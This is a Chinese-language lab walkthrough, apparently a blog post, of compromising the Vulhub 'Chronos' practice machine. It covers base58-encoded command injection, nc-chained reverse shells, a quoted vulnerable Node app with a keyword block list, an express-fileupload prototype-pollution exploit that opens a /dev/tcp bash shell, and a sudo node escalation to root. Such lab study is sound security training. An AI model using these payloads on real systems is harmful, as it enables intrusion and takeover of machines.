kali之vulhub,chronos

目录

一、主机发现

二、端口扫描

三、服务版本扫描

四、登录http协议服务所开放的端口

1.加载页面源代码

2.查看脚本数据​

五、Cyberchef进行解码

1.cyberchef简单介绍

2.javascript beauty把数据转码

3.利用这个网址

4.尝试重新访问页面

 4.解码参数

六、尝试命令注入

1.对其编码

2.进行命令注入

 七、nc连接

1.尝试nc是否可行

(1)侦听端口

(2)建立连接

2.nc串联

八、信息收集

1.查看当前目录下的文件

(1)package.json

(2)查看app.js

2.对上一级目录进行查看

(1)server.js的内容,

(2)package.json文件

3./etc/home

(1)imera用户

(2)查看imera家目录

 九、利用express-fileupload库的漏洞提权拿到imera权限

1.利用代码:

2.步骤

(1)侦听端口

(2)获得imera权限

(3)查看user.txt,得到flag

 十、利用 sudo -l 提权获得root权限

1.用于显示当前用户可以用 sudo 执行那些命令。

2.利用node反弹shell


一、主机发现

利用netdiscover工具

最后的子网掩码最好 -8 扫描,这样扫描出来的效果更好

sudo netdiscover -r 192.168.43.27/16

可以看到 192.168.43.49就是我们要攻击的靶机

二、端口扫描

三、服务版本扫描

 

四、登录http协议服务所开放的端口

1.加载页面源代码

发现两个页面的源代码一样。唯一有用信息就是脚本里的信息,把他放到复制下来看一下。

2.查看脚本数据

发现是一堆加密的字符,所以试着去解密这些字符

五、Cyberchef进行解码

1.cyberchef简单介绍

三个框框,input是输入框,output是输出框,recipe译为佐料,这里是放置转码类型的地方。

2.javascript beauty把数据转码

经过 转码我们就看到了这些内容

 有一条url信息对我们是有帮助的

3.利用这个网址

由于都是8000端口,猜测此域名和ip有所关联,为了让域名能正常解析,所以在kali上修改hosts文件,将ip与域名绑定到一起

4.尝试重新访问页面

爆出来一行 时间日期年月

 4.解码参数

利用magic模块来解码参数,解码出来是linux里的日期参数,可以猜测此参数就是调用到linux中的命令端口,所以尝试对参数进行命令注入

六、尝试命令注入

&& ls

1.对其编码

还是采用cyberchef这个加解密的瑞士军刀,选择to base64模块

2.进行命令注入

注入十分顺利,可以看到存在命令注入漏洞。

 七、nc连接

1.尝试nc是否可行

(1)侦听端口

nc -nvlp 5555

(2)建立连接

这里需要base58编码

nc 192.168.43.27 5555

页面报错,但是连接成功

2.nc串联

1.开启两个侦听端口

2.建立连接

要进行编码

&& nc 192.168.43.27 5555 | /bin/bash | nc 192.168.43.27 6666

7m71bMEyK3F7NzzUQKtp127YFLuqnV3pqN33VNWsDhnHuKrArnFkgtgARwefeJpPMVxrLDC2c9JHbik4pV

八、信息收集

1.查看当前目录下的文件

 该web应用使用node.js来开发的,我们来查看这些文件,特别是依赖包文件package.json和主程序文件app.js

(1)package.json

该文件下有依赖的库bs58(base58),cors和express这个常用的web应用开发框架。

(2)查看app.js

// created by alienum for Penetration Testing
//导入依赖库,设置端口
const express = require('express');
const { exec } = require("child_process");
const bs58 = require('bs58');
const app = express();

const port = 8000;

const cors = require('cors');

//将地址进行路由的一个过程
app.use(cors());

app.get('/', (req,res) =>{
  
    res.sendFile("/var/www/html/index.html");
});

//这里就是将date命令和解密后的参数拼接的一段代码
app.get('/date', (req, res) => {

    var agent = req.headers['user-agent'];
    var cmd = 'date ';
    const format = req.query.format;
    const bytes = bs58.decode(format);
    var decoded = bytes.toString();
    var concat = cmd.concat(decoded);
//首先判断agent是否为chronos本机,之后检测是否有恶意的命令注入语句,
//如果有则发出提醒Something went wrong,但是没有终止命令的执行
    if (agent === 'Chronos') {
        if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {

            res.send("Something went wrong");
        }
        exec(concat, (error, stdout, stderr) => {
            if (error) {
                console.log(`error: ${error.message}`);
                return;
            }
            if (stderr) {
                console.log(`stderr: ${stderr}`);
                return;
            }
            res.send(stdout);
        });
    }
    else{

        res.send("Permission Denied");
    }
})
//运行前面拼接的命令
app.listen(port,() => {

    console.log(`Server running at ${port}`);

})


发现并没有对我们提权有所帮助的框架或者是信息。

2.对上一级目录进行查看

发现有一个chronos-v2的web应用,查看其中的文件

(1)server.js的内容,

可以看到address是127.0.0.1 端口port是8080,所以说这是架设在靶机服务器本地上的一个web应用。

const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')

const app = express();

app.use(fileupload({ parseNested: true }));

app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");

app.get('/', (req, res) => {
   res.render('index')
});

const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;
server.listen(port, addr, () => {
   console.log('Server listening on ' + addr + ' port ' + port);
});

(2)package.json文件

可以发现一个express-fileupload库,尝试去利用它。

3./etc/home

(1)imera用户

(2)查看imera家目录

发现有一个user.txt并且无法查看,只有imera用户具有权限

 

 九、利用express-fileupload库的漏洞提权拿到imera权限

1.利用代码:

import requests

cmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'

# pollute
requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

# execute command
requests.get('http://p6.is:7777')

2.步骤

(1)侦听端口

nc -nvlp 8888

(2)获得imera权限

(3)查看user.txt,得到flag

 十、利用 sudo -l 提权获得root权限

1.用于显示当前用户可以用 sudo 执行那些命令。

sudo -l

2.利用node反弹shell

sudo node -e 'child_process.spawn("/bin/bash",{stdio: [0,1,2]})'

 拿到了第二个flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

梅_花_七

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值